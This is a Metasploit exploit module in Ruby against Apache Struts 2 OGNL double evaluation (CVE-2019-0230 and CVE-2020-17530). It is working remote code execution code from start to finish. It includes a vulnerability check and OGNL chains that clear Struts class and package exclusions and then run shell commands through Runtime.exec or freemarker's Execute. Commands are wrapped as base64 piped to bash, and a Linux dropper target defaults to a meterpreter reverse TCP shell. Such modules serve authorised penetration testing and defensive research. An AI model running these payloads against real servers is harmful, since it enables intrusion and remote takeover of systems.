## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Struts 2 Forced Multi OGNL Evaluation', 'Description' => %q{ The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute. }, 'Author' => [ 'Spencer McIntyre', # Metasploit module 'Matthias Kaiser', # discovery of CVE-2019-0230 'Alvaro Muñoz', # (@pwntester) discovery of CVE-2020-17530 'ka1n4t', # PoC of CVE-2020-17530 ], 'References' => [ ['CVE', '2019-0230'], ['CVE', '2020-17530'], ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-059'], ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-061'], ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-059'], ['URL', 'https://github.com/vulhub/vulhub/tree/master/struts2/s2-061'], ['URL', 'https://securitylab.github.com/advisories/GHSL-2020-205-double-eval-dynattrs-struts2'], ['URL', 'https://github.com/ka1n4t/CVE-2020-17530'], ], 'Privileged' => false, 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2020-09-14', # CVE-2019-0230 NVD publication date 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ] }, 'DefaultTarget' => 0 ) ) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), OptString.new('NAME', [ true, 'The HTTP query parameter or form data name', 'id']), OptEnum.new('CVE', [ true, 'Vulnerability to use', 'CVE-2020-17530', ['CVE-2020-17530', 'CVE-2019-0230']]) ]) register_advanced_options([ OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), OptString.new('HttpCookie', [false, 'An optional cookie to include when making the HTTP request']) ]) end def check num1 = rand(1000..9999) num2 = rand(1000..9999) res = send_request_cgi(build_http_request(datastore['CVE'], "#{num1}*#{num2}")) if res.nil? return CheckCode::Unknown elsif res.body.scan(/(["'])\s*#{(num1 * num2)}\s*\1/).empty? return CheckCode::Safe end return CheckCode::Appears end def exploit cve = datastore['CVE'] print_status("Executing #{target.name} for #{datastore['PAYLOAD']} using #{cve}") if cve == 'CVE-2019-0230' ognl = [] ognl << '#context=#attr[\'struts.valueStack\'].context' ognl << '#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']' ognl << '#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)' ognl << '#ognlUtil.setExcludedClasses(\'\')' ognl << '#ognlUtil.setExcludedPackageNames(\'\')' res = send_request_cgi(build_http_request(cve, ognl)) fail_with(Failure::UnexpectedReply, 'Failed to execute the OGNL preamble') unless res&.code == 200 end case target['Type'] when :unix_cmd execute_command(payload.encoded, { cve: cve }) when :linux_dropper execute_cmdstager({ cve: cve, delay: datastore['CMDSTAGER::DELAY'], linemax: 512 }) end end def execute_command(cmd, opts = {}) send_request_cgi(build_http_request(opts[:cve], build_ognl(opts[:cve], cmd)), 5) end def build_http_request(cve, ognl) ognl = ognl.map { |part| "(#{part})" }.join('.') if ognl.is_a? Array http_request_parameters = { 'uri' => normalize_uri(target_uri.path) } http_request_parameters['cookie'] = datastore['HttpCookie'] unless datastore['HttpCookie'].blank? if cve == 'CVE-2019-0230' http_request_parameters['method'] = 'GET' http_request_parameters['vars_get'] = { datastore['NAME'] => "%{#{ognl}}" } elsif cve == 'CVE-2020-17530' http_request_parameters['method'] = 'POST' http_request_parameters['vars_post'] = { datastore['NAME'] => "%{#{ognl}}" } end http_request_parameters end def build_ognl(cve, cmd) cmd = "bash -c {echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d}|bash" ognl = [] if cve == 'CVE-2019-0230' ognl << '#context=#attr[\'struts.valueStack\'].context' ognl << '#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)' ognl << "@java.lang.Runtime@getRuntime().exec(\"#{cmd}\")" elsif cve == 'CVE-2020-17530' ognl << '#instancemanager=#application["org.apache.tomcat.InstanceManager"]' ognl << '#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]' ognl << '#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")' ognl << '#bean.setBean(#stack)' ognl << '#context=#bean.get("context")' ognl << '#bean.setBean(#context)' ognl << '#macc=#bean.get("memberAccess")' ognl << '#bean.setBean(#macc)' ognl << '#emptyset=#instancemanager.newInstance("java.util.HashSet")' ognl << '#bean.put("excludedClasses",#emptyset)' ognl << '#bean.put("excludedPackageNames",#emptyset)' ognl << '#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")' ognl << "#execute.exec({\"#{cmd}\"})" end ognl end end